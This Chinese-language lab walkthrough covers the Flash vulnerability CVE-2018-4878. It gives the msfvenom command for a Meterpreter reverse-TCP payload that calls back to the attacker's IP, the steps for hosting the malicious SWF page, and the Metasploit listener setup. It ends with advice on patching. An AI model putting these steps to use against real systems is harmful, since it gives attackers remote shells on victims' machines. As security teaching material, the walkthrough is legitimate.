CVE-2018-4878 Adobe Flash 0day 漏洞分析与利用

目录

1. 漏洞概述
2. 漏洞影响范围
3. 漏洞利用
4. 靶机环境配置
5. Kali Linux攻击机配置
6. 生成恶意文件
7. 启动HTTP服务
8. 监听会话
9. 访问恶意链接
10. 获取Shell
11. 结论

漏洞概述

Adobe官方于2018年2月1日发布了安全公告（APSA18-01），报告了Adobe Flash Player 28.0.0.137及其之前版本中存在的一个高危漏洞，即CVE-2018-4878。该漏洞允许攻击者通过构造特定的Flash链接，在用户通过浏览器、邮件或Office访问该链接时，实现远程代码执行，进而获取目标系统的shell权限。

漏洞影响范围

• 操作系统: Windows 7 SP1
• 浏览器: IE8及以前版本（IE9似乎也可受影响）
• Adobe Flash版本: 28.0.0.137及其之前的版本

漏洞利用

为了演示如何利用此漏洞，本文将提供一个基本的攻击流程，包括如何生成恶意的Flash文件和HTTP服务的配置。

靶机环境配置

• 操作系统: Windows 7 SP1
• 浏览器: IE8或更低版本
• Flash版本: 28.0.0.137或更低版本

Kali Linux攻击机配置

假设攻击者使用的是Kali Linux系统，攻击机的IP地址为192.168.43.16。

生成恶意文件

1. 生成Shellcode

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.16 LPORT=4444 -f python > shellcode.txt
   

2. 替换Shellcode
   打开并编辑cve-2018-4878.py文件，将原有的Shellcode替换为刚刚生成的Shellcode。

启动HTTP服务

将生成的exploit.swf和index.html文件放置到Kali Linux的Apache2服务的根目录中，并启动服务。

cp index.html /var/www/html/index.html
cp exploit.swf /var/www/html/exploit.swf

监听会话

打开Metasploit框架，设置监听模块和Payload。

use multi/handler
set payload windows/meterpreter/reverse_tcp

访问恶意链接

让目标机器通过存在漏洞的浏览器和Flash版本访问攻击机上的恶意链接:

http://192.168.43.16/index.html

获取Shell

一旦目标机器访问了恶意链接，攻击者即可通过Metasploit框架获得一个Meterpreter会话。

结论

通过本次漏洞分析，我们可以看出，即使是看似普通的网页访问也可能导致系统被攻陷。因此，及时更新软件版本，避免使用老旧的浏览器及插件，是防范此类攻击的有效措施。同时，对于开发者来说，提高代码质量，及时修复已知漏洞同样至关重要。希望本文能够帮助大家加深对网络安全的理解，并提高警惕性。